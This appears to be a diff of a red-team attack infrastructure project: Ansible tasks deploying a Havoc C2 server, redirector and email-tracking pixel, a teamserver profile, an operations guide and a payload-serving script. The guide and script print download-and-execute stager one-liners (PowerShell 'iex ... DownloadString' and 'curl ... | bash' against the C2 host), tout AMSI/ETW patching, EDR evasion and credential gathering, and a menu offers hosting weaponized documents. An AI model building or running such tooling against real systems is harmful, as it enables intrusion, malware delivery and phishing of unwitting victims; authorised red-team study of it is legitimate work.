|
copy:
|
||||||
|
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
|
||||||
|
dest: "/root/.ssh/redirector_key"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: provider == "aws"
|
||||||
|
|
||||||
|
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
|
||||||
|
copy:
|
||||||
|
src: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||||
|
dest: "/root/.ssh/redirector_key"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: provider != "aws"
|
||||||
|
|
||||||
|
- name: Create SSH config for redirector access
|
||||||
|
blockinfile:
|
||||||
|
path: /root/.ssh/config
|
||||||
|
create: yes
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
|
||||||
|
block: |
|
||||||
|
Host redirector
|
||||||
|
HostName {{ redirector_ip }}
|
||||||
|
User {{ ssh_user | default('root') }}
|
||||||
|
IdentityFile /root/.ssh/redirector_key
|
||||||
|
StrictHostKeyChecking no
|
||||||
|
when: not redirector_only | bool and redirector_ip is defined
|
||||||
|
|
||||||
|
# Include integrated tracker tasks if requested
|
||||||
|
- name: Include integrated tracker setup
|
||||||
|
include_tasks: "configure_integrated_tracker.yml"
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
@@ -0,0 +1,150 @@
|
|||||||
|
---
|
||||||
|
# Common task for configuring integrated email tracker on C2 server
|
||||||
|
|
||||||
|
- name: Check if integrated tracker setup is requested
|
||||||
|
debug:
|
||||||
|
msg: "Setting up integrated email tracker on C2 server"
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Install required packages for tracker
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- python3-pillow
|
||||||
|
- nginx
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
- jq
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create tracker directory
|
||||||
|
file:
|
||||||
|
path: /root/Tools/tracker
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create tracker data directory
|
||||||
|
file:
|
||||||
|
path: /root/Tools/tracker/data
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create tracker system user
|
||||||
|
user:
|
||||||
|
name: tracker
|
||||||
|
system: yes
|
||||||
|
shell: /usr/sbin/nologin
|
||||||
|
home: /root/Tools/tracker
|
||||||
|
create_home: no
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create Python virtual environment for tracker
|
||||||
|
pip:
|
||||||
|
virtualenv: /root/Tools/tracker/venv
|
||||||
|
name:
|
||||||
|
- flask
|
||||||
|
- pillow
|
||||||
|
- gunicorn
|
||||||
|
virtualenv_command: /usr/bin/python3 -m venv
|
||||||
|
environment:
|
||||||
|
PATH: "/usr/local/bin:/usr/bin:/bin"
|
||||||
|
vars:
|
||||||
|
ansible_python_interpreter: /usr/bin/python3
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Copy tracker application code
|
||||||
|
copy:
|
||||||
|
src: "../../tracker/files/simple_email_tracker.py"
|
||||||
|
dest: /root/Tools/tracker/simple_email_tracker.py
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Copy tracker statistics CLI tool
|
||||||
|
copy:
|
||||||
|
src: "../../tracker/files/tracker-stats.sh"
|
||||||
|
dest: /root/Tools/tracker/tracker-stats.sh
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Copy systemd service file for tracker
|
||||||
|
copy:
|
||||||
|
src: "../../tracker/files/tracker.service"
|
||||||
|
dest: /etc/systemd/system/tracker.service
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Set correct permissions for tracker directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
owner: tracker
|
||||||
|
group: tracker
|
||||||
|
recurse: yes
|
||||||
|
loop:
|
||||||
|
- /root/Tools/tracker
|
||||||
|
- /root/Tools/tracker/data
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create NGINX site config for tracker
|
||||||
|
template:
|
||||||
|
src: "../../tracker/files/tracker-nginx.conf"
|
||||||
|
dest: /etc/nginx/sites-available/tracker
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Enable tracker NGINX site
|
||||||
|
file:
|
||||||
|
src: /etc/nginx/sites-available/tracker
|
||||||
|
dest: /etc/nginx/sites-enabled/tracker
|
||||||
|
state: link
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Configure redirector to proxy tracking requests
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/nginx/sites-available/default
|
||||||
|
insertafter: "^\\s*location / {"
|
||||||
|
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
|
||||||
|
delegate_to: "{{ groups['redirectors'][0] }}"
|
||||||
|
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
|
||||||
|
|
||||||
|
- name: Set up SSL if requested
|
||||||
|
shell: |
|
||||||
|
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
|
||||||
|
args:
|
||||||
|
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
|
||||||
|
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Start and enable tracker service
|
||||||
|
systemd:
|
||||||
|
name: tracker
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
|
|
||||||
|
- name: Add tracker alias to bashrc for easy access
|
||||||
|
lineinfile:
|
||||||
|
path: /root/.bashrc
|
||||||
|
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
|
||||||
|
state: present
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
{# OMITTED — evasive beacon generation template #}
|
||||||
|
{#
|
||||||
|
Jinja2 template rendered at deploy time. Produces a shell script that compiles
|
||||||
|
Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
|
||||||
|
shellcode in a chosen injection template (process hollowing, APC injection,
|
||||||
|
early-bird), and stages the result to the payload server.
|
||||||
|
|
||||||
|
Omitted from public release. Present in operational deployments.
|
||||||
|
#}
|
||||||
|
echo "[!] Evasive beacon generator not included in public release."
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
{# OMITTED — Havoc payload generation template #}
|
||||||
|
{#
|
||||||
|
Renders a script that produces EXE, DLL, and raw shellcode variants from a
|
||||||
|
compiled Demon implant. Handles signing stubs, UPX packing decisions, and
|
||||||
|
drops artifacts to the payload server staging directory.
|
||||||
|
|
||||||
|
Omitted from public release. Present in operational deployments.
|
||||||
|
#}
|
||||||
|
echo "[!] Havoc payload generator not included in public release."
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
Teamserver {
|
||||||
|
Host = "0.0.0.0"
|
||||||
|
Port = {{ havoc_teamserver_port | default(40056) }}
|
||||||
|
|
||||||
|
Build {
|
||||||
|
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
Nasm = "/usr/bin/nasm"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Operators {
|
||||||
|
user "{{ havoc_admin_user | default('admin') }}" {
|
||||||
|
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
|
||||||
|
}
|
||||||
|
{% if havoc_operators is defined %}
|
||||||
|
{% for operator in havoc_operators %}
|
||||||
|
user "{{ operator.name }}" {
|
||||||
|
Password = "{{ operator.password }}"
|
||||||
|
}
|
||||||
|
{% endfor %}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
Listeners {
|
||||||
|
Http {
|
||||||
|
Name = "https"
|
||||||
|
Hosts = [
|
||||||
|
"{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
]
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "round-robin"
|
||||||
|
PortBind = {{ havoc_https_port | default(9443) }}
|
||||||
|
PortConn = {{ havoc_https_port | default(9443) }}
|
||||||
|
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||||
|
Headers = [
|
||||||
|
"Accept: */*",
|
||||||
|
"Accept-Language: en-US,en;q=0.9"
|
||||||
|
]
|
||||||
|
Uris = [
|
||||||
|
"/api/v2",
|
||||||
|
"/content",
|
||||||
|
"/static/css",
|
||||||
|
"/wp-content/plugins"
|
||||||
|
]
|
||||||
|
Response {
|
||||||
|
Headers = [
|
||||||
|
"Content-Type: application/json",
|
||||||
|
"Cache-Control: no-store, private",
|
||||||
|
"X-Content-Type-Options: nosniff"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
Secure = true
|
||||||
|
|
||||||
|
Cert {
|
||||||
|
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
|
||||||
|
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Demon {
|
||||||
|
Sleep = {{ havoc_sleep | default(5) }}
|
||||||
|
Jitter = {{ havoc_jitter | default(30) }}
|
||||||
|
|
||||||
|
Injection {
|
||||||
|
{% if havoc_spawn64 is defined %}
|
||||||
|
Spawn64 = "{{ havoc_spawn64 }}"
|
||||||
|
{% else %}
|
||||||
|
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_spawn32 is defined %}
|
||||||
|
Spawn32 = "{{ havoc_spawn32 }}"
|
||||||
|
{% else %}
|
||||||
|
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
HAVOC C2 OPERATIONS GUIDE
|
||||||
|
==========================
|
||||||
|
|
||||||
|
This guide provides information on using the Havoc C2 framework (dev branch)
|
||||||
|
deployed on your infrastructure.
|
||||||
|
|
||||||
|
SERVER INFORMATION
|
||||||
|
-----------------
|
||||||
|
C2 Server IP: {{ c2_ip }}
|
||||||
|
Redirector Domain: {{ redirector_domain }}
|
||||||
|
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
|
||||||
|
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
|
||||||
|
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
|
||||||
|
Admin User: {{ havoc_admin_user | default('admin') }}
|
||||||
|
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
|
CONNECTING TO THE TEAMSERVER
|
||||||
|
---------------------------
|
||||||
|
From your local machine:
|
||||||
|
|
||||||
|
1. Make sure Havoc client (dev branch) is installed:
|
||||||
|
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||||
|
$ cd Havoc/Client
|
||||||
|
$ mkdir build && cd build
|
||||||
|
$ cmake -GNinja ..
|
||||||
|
$ ninja
|
||||||
|
|
||||||
|
2. Connect to the Teamserver via GUI:
|
||||||
|
- Host: {{ c2_ip }}
|
||||||
|
- Port: {{ havoc_teamserver_port | default(40056) }}
|
||||||
|
- User: {{ havoc_admin_user | default('admin') }}
|
||||||
|
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
|
3. CLI Connection:
|
||||||
|
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
|
||||||
|
|
||||||
|
LISTENERS
|
||||||
|
--------
|
||||||
|
Two default listeners are configured:
|
||||||
|
- HTTP on port {{ havoc_http_port | default(8080) }}
|
||||||
|
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
|
||||||
|
|
||||||
|
To view and manage listeners: Attack → Listeners in the Havoc client.
|
||||||
|
|
||||||
|
GENERATING PAYLOADS
|
||||||
|
-----------------
|
||||||
|
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
|
||||||
|
|
||||||
|
To generate new payloads:
|
||||||
|
1. Connect to the Teamserver
|
||||||
|
2. Navigate to Attack → Payload
|
||||||
|
3. Select the listener (HTTPS recommended)
|
||||||
|
4. Choose architecture, format, and evasion options
|
||||||
|
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
|
||||||
|
|
||||||
|
PAYLOAD DELIVERY
|
||||||
|
--------------
|
||||||
|
PowerShell one-liner:
|
||||||
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||||
|
|
||||||
|
Linux one-liner:
|
||||||
|
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
||||||
|
|
||||||
|
OPERATIONAL SECURITY
|
||||||
|
------------------
|
||||||
|
- All connections are routed through the redirector
|
||||||
|
- Payload customization includes:
|
||||||
|
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
|
||||||
|
* EDR unhooking techniques
|
||||||
|
* AMSI/ETW patching
|
||||||
|
* Indirect syscalls
|
||||||
|
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
|
||||||
|
|
||||||
|
ADVANCED FEATURES (DEV BRANCH)
|
||||||
|
----------------------------
|
||||||
|
- Enhanced memory scanner evasion
|
||||||
|
- PPID spoofing capabilities
|
||||||
|
- Reflective DLL loading improvements
|
||||||
|
- EDR hook detection and avoidance
|
||||||
|
- Process token manipulation
|
||||||
|
- Registry persistence options
|
||||||
|
|
||||||
|
POST-EXPLOITATION
|
||||||
|
---------------
|
||||||
|
For post-exploitation, Havoc offers:
|
||||||
|
|
||||||
|
1. BOF (Beacon Object Files) support
|
||||||
|
2. Integrated command & control modules
|
||||||
|
3. File system operations
|
||||||
|
4. Process injection & manipulation
|
||||||
|
5. Credential gathering capabilities
|
||||||
|
|
||||||
|
SERVER MANAGEMENT
|
||||||
|
---------------
|
||||||
|
- Havoc Teamserver service: systemctl status havoc
|
||||||
|
- Service configuration: /etc/systemd/system/havoc.service
|
||||||
|
- Configuration profiles: /root/Tools/Havoc/data/profiles/
|
||||||
|
|
||||||
|
TROUBLESHOOTING
|
||||||
|
--------------
|
||||||
|
1. Agent connection issues:
|
||||||
|
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||||
|
- Check nginx configuration on the redirector
|
||||||
|
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
|
||||||
|
|
||||||
|
2. Teamserver issues:
|
||||||
|
- Check service: systemctl status havoc
|
||||||
|
- View logs: journalctl -u havoc
|
||||||
|
- Restart if needed: systemctl restart havoc
|
||||||
|
|
||||||
|
3. Use Havoc client CLI debugging:
|
||||||
|
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
|
||||||
@@ -0,0 +1,135 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
# Use templated variable with fallback - allow override from config
|
||||||
|
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
|
||||||
|
|
||||||
|
# Check if manifest file exists (created by generate_havoc_payloads.sh)
|
||||||
|
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
|
||||||
|
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
|
||||||
|
# Extract payload paths from manifest
|
||||||
|
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
|
||||||
|
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
|
||||||
|
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
|
||||||
|
|
||||||
|
# Print payload info
|
||||||
|
echo "[+] Using these Havoc payloads:"
|
||||||
|
echo " - Windows EXE: $WIN_EXE"
|
||||||
|
echo " - Windows DLL: $WIN_DLL"
|
||||||
|
echo " - Linux Binary: $LINUX_BIN"
|
||||||
|
else
|
||||||
|
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
|
||||||
|
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
|
||||||
|
|
||||||
|
# Try to find payloads directly
|
||||||
|
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
||||||
|
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
||||||
|
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
||||||
|
|
||||||
|
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
||||||
|
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Extract just the filenames
|
||||||
|
WIN_EXE=$(basename "$WIN_EXE")
|
||||||
|
WIN_DLL=$(basename "$WIN_DLL")
|
||||||
|
LINUX_BIN=$(basename "$LINUX_BIN")
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create temporary directory for web server
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
mkdir -p $TEMP_DIR/content/windows
|
||||||
|
mkdir -p $TEMP_DIR/content/linux
|
||||||
|
mkdir -p $TEMP_DIR/scripts
|
||||||
|
|
||||||
|
# Copy payloads to web directory
|
||||||
|
if [ -n "$WIN_EXE" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
||||||
|
echo "[+] Serving Windows EXE: $WIN_EXE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$WIN_DLL" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
||||||
|
echo "[+] Serving Windows DLL: $WIN_DLL"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$LINUX_BIN" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
||||||
|
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Copy stagers if they exist
|
||||||
|
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
||||||
|
echo "[+] Serving Windows PowerShell stager"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
||||||
|
echo "[+] Serving Linux bash stager"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create helpful index page
|
||||||
|
cat > $TEMP_DIR/index.html << EOL
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Havoc C2 Payload Downloads</title>
|
||||||
|
<style>
|
||||||
|
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||||
|
h1 { color: #333; }
|
||||||
|
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
||||||
|
.warning { color: #a00; font-weight: bold; }
|
||||||
|
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Havoc C2 Payload Downloads</h1>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Available Payloads</h2>
|
||||||
|
<ul>
|
||||||
|
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
||||||
|
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
||||||
|
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Auto-Download Scripts</h2>
|
||||||
|
<ul>
|
||||||
|
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
||||||
|
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Quick Commands</h2>
|
||||||
|
<p>Windows PowerShell:</p>
|
||||||
|
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
||||||
|
<p>Linux Bash:</p>
|
||||||
|
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOL
|
||||||
|
|
||||||
|
# Start Python HTTP server in background
|
||||||
|
cd $TEMP_DIR
|
||||||
|
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
||||||
|
SERVER_PID=$!
|
||||||
|
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
||||||
|
|
||||||
|
# Print useful information for the operator
|
||||||
|
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
||||||
|
echo "[+] Available payloads:"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
||||||
|
echo ""
|
||||||
|
echo "[+] Quick PowerShell download command:"
|
||||||
|
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
||||||
|
echo ""
|
||||||
|
echo "[+] Quick Linux download command:"
|
||||||
|
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
|
||||||
@@ -0,0 +1,345 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Payload server infrastructure deployment module
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
|
||||||
|
# Add the project root to the path so we can import utils
|
||||||
|
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||||
|
|
||||||
|
from utils.common import (
|
||||||
|
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||||
|
setup_logging, get_public_ip, confirm_action, wait_for_input
|
||||||
|
)
|
||||||
|
from utils.provider_utils import select_provider, gather_provider_config
|
||||||
|
from utils.ssh_utils import generate_ssh_key
|
||||||
|
|
||||||
|
def gather_payload_parameters():
|
||||||
|
"""Collect parameters specific to payload server deployments"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}PAYLOAD SERVER SETUP{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}===================={COLORS['RESET']}")
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
# Generate deployment ID
|
||||||
|
config['deployment_id'] = generate_deployment_id()
|
||||||
|
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Provider selection
|
||||||
|
provider = select_provider()
|
||||||
|
if not provider:
|
||||||
|
return None
|
||||||
|
config['provider'] = provider
|
||||||
|
|
||||||
|
# Get provider-specific configuration
|
||||||
|
provider_config = gather_provider_config(provider)
|
||||||
|
if not provider_config:
|
||||||
|
return None
|
||||||
|
config.update(provider_config)
|
||||||
|
|
||||||
|
# Payload-specific configuration
|
||||||
|
print(f"\n{COLORS['BLUE']}Payload Server Configuration{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Domain configuration
|
||||||
|
domain = input(f"Domain for payload server [required]: ")
|
||||||
|
if not domain:
|
||||||
|
print(f"{COLORS['RED']}A domain is required for payload server deployments{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
config['domain'] = domain
|
||||||
|
|
||||||
|
# Subdomain configuration
|
||||||
|
config['payload_subdomain'] = input("Payload server subdomain [default: cdn]: ") or "cdn"
|
||||||
|
|
||||||
|
# Payload types
|
||||||
|
print(f"\n{COLORS['BLUE']}Payload Types to Host:{COLORS['RESET']}")
|
||||||
|
config['host_executables'] = confirm_action("Host Windows executables?", default=True)
|
||||||
|
config['host_scripts'] = confirm_action("Host PowerShell/Python scripts?", default=True)
|
||||||
|
config['host_documents'] = confirm_action("Host weaponized documents?", default=False)
|
||||||
|
config['host_mobile'] = confirm_action("Host mobile payloads (APK/IPA)?", default=False)
|
||||||
|
|
||||||
|
# Security options
|
||||||
|
print(f"\n{COLORS['BLUE']}Security Options:{COLORS['RESET']}")
|
||||||
|
config['enable_basic_auth'] = confirm_action("Enable basic authentication?", default=True)
|
||||||
|
config['enable_ip_filtering'] = confirm_action("Enable IP filtering?", default=True)
|
||||||
|
config['enable_user_agent_filtering'] = confirm_action("Enable User-Agent filtering?", default=True)
|
||||||
|
config['enable_rate_limiting'] = confirm_action("Enable rate limiting?", default=True)
|
||||||
|
|
||||||
|
# Payload generation
|
||||||
|
config['auto_generate_payloads'] = confirm_action("Auto-generate common payloads?", default=False)
|
||||||
|
|
||||||
|
# Email for Let's Encrypt
|
||||||
|
default_email = f"admin@{config['domain']}"
|
||||||
|
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||||
|
|
||||||
|
# Get operator IP for security
|
||||||
|
suggested_ip = get_public_ip()
|
||||||
|
if suggested_ip:
|
||||||
|
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
|
||||||
|
else:
|
||||||
|
operator_ip = input("Your public IP for secure access: ")
|
||||||
|
config['operator_ip'] = operator_ip
|
||||||
|
|
||||||
|
# SSH key generation
|
||||||
|
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||||
|
if not ssh_key_path:
|
||||||
|
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||||
|
|
||||||
|
# Post-deployment options
|
||||||
|
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||||
|
|
||||||
|
return config
|
||||||
|
|
||||||
|
def payload_menu():
|
||||||
|
"""Display the payload server submenu and handle user selection"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}PAYLOAD SERVER MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}==================={COLORS['RESET']}")
|
||||||
|
print(f"1) Basic Payload Server {COLORS['GREEN']}*SIMPLE*{COLORS['RESET']} {COLORS['GRAY']}(Quick setup){COLORS['RESET']}")
|
||||||
|
print(f"2) Multi-Format Payload Server {COLORS['GRAY']}(Supports multiple payload types){COLORS['RESET']}")
|
||||||
|
print(f"3) Document Payload Server {COLORS['GRAY']}(Specialized for document payloads){COLORS['RESET']}")
|
||||||
|
print(f"4) Mobile Payload Server {COLORS['GRAY']}(Mobile-focused payloads){COLORS['RESET']}")
|
||||||
|
print(f"5) Secure Payload Server {COLORS['GRAY']}(Auth + filtering){COLORS['RESET']}")
|
||||||
|
